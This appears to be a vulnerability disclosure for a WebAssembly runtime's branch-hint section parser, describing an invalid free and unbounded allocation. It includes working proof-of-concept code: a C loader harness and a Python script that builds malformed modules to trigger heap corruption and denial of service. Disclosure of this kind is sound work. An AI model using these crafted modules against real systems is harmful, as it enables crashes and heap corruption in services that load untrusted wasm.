This issue was reported by @Finder16
Summary
- metadata.code.branch_hint custom section parsing skips array bounds checks, so malformed num_hints/size values let an attacker force the loader to free the wrong pointer or spin forever; impact is a crash / DoS when WASM_ENABLE_BRANCH_HINTS=1.
- Severity: high because it can be triggered by any wasm module with a corrupted branch-hint section and the loader crashes before any wasm code runs.
Details
- handle_branch_hint_section allocates new_hints as an array of num_hints, but on every error path (invalid size or value) it calls
wasm_runtime_free(new_hint) instead of freeing the base pointer, corrupting the heap (core/iwasm/interpreter/wasm_loader.c:5604-5632).
- There is no upper bound on num_hints, so a crafted wasm can make the loader loop/allocate indefinitely and never exit, which is effectively a
DoS (core/iwasm/interpreter/wasm_loader.c:5595-5642).
- These issues only appear when the loader is built with branch hints enabled (WASM_ENABLE_BRANCH_HINTS=1), which is the condition under which
the repro executes.
PoC
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "wasm_export.h"
static uint8_t *
read_file(const char *path, uint32_t *out_size)
{
FILE *fp = fopen(path, "rb");
long size;
uint8_t *buf;
if (!fp) {
return NULL;
}
if (fseek(fp, 0, SEEK_END) != 0) {
fclose(fp);
return NULL;
}
size = ftell(fp);
if (size < 0) {
fclose(fp);
return NULL;
}
if (fseek(fp, 0, SEEK_SET) != 0) {
fclose(fp);
return NULL;
}
if (size == 0) {
fclose(fp);
return NULL;
}
buf = (uint8_t *)malloc((size_t)size);
if (!buf) {
fclose(fp);
return NULL;
}
if (fread(buf, 1, (size_t)size, fp) != (size_t)size) {
free(buf);
fclose(fp);
return NULL;
}
fclose(fp);
*out_size = (uint32_t)size;
return buf;
}
int
main(int argc, char **argv)
{
RuntimeInitArgs init_args;
wasm_module_t module = NULL;
uint8_t *buffer = NULL;
uint32_t size = 0;
char error_buf[128];
if (argc != 2) {
fprintf(stderr, "usage: %s <wasm-file>\n", argv[0]);
return 1;
}
memset(&init_args, 0, sizeof(init_args));
init_args.mem_alloc_type = Alloc_With_System_Allocator;
if (!wasm_runtime_full_init(&init_args)) {
fprintf(stderr, "wasm_runtime_full_init failed\n");
return 1;
}
buffer = read_file(argv[1], &size);
if (!buffer) {
fprintf(stderr, "read_file failed\n");
wasm_runtime_destroy();
return 1;
}
module = wasm_runtime_load(buffer, size, error_buf, sizeof(error_buf));
if (!module) {
fprintf(stderr, "wasm_runtime_load failed: %s\n", error_buf);
}
else {
wasm_runtime_unload(module);
}
free(buffer);
wasm_runtime_destroy();
return 0;
}
from pathlib import Path
def u32leb(n):
out = bytearray()
while True:
b = n & 0x7f
n >>= 7
if n:
b |= 0x80
out.append(b)
if not n:
break
return bytes(out)
name = b"metadata.code.branch_hint"
assert len(name) == 25
def build_module(payload_tail, out_path):
payload = b"".join([
u32leb(len(name)),
name,
payload_tail
])
custom_section = b"\x00" + u32leb(len(payload)) + payload
payload_type = u32leb(1) + b"\x60" + u32leb(0) + u32leb(0)
sec_type = b"\x01" + u32leb(len(payload_type)) + payload_type
payload_func = u32leb(1) + u32leb(0)
sec_func = b"\x03" + u32leb(len(payload_func)) + payload_func
body = u32leb(0) + b"\x0b"
payload_code = u32leb(1) + u32leb(len(body)) + body
sec_code = b"\x0a" + u32leb(len(payload_code)) + payload_code
module = b"\x00asm" + b"\x01\x00\x00\x00" + sec_type + sec_func + sec_code + custom_section
Path(out_path).write_bytes(module)
payload_invalid_free = b"".join([
b"\x01", # numFunctionHints
b"\x00", # func_idx
b"\x02", # num_hints
b"\x00", # hint0 offset
b"\x01", # hint0 size
b"\x00", # hint0 data
b"\x00", # hint1 offset
b"\x02", # hint1 size (invalid)
])
build_module(payload_invalid_free, "branch_hint_invalid_free.wasm")
payload_dos = b"".join([
b"\x01",
b"\x00",
b"\xff\xff\xff\xff\x0f",
])
build_module(payload_dos, "branch_hint_null_deref.wasm")
This issue was reported by @Finder16
Summary
Details
wasm_runtime_free(new_hint) instead of freeing the base pointer, corrupting the heap (core/iwasm/interpreter/wasm_loader.c:5604-5632).
DoS (core/iwasm/interpreter/wasm_loader.c:5595-5642).
the repro executes.
PoC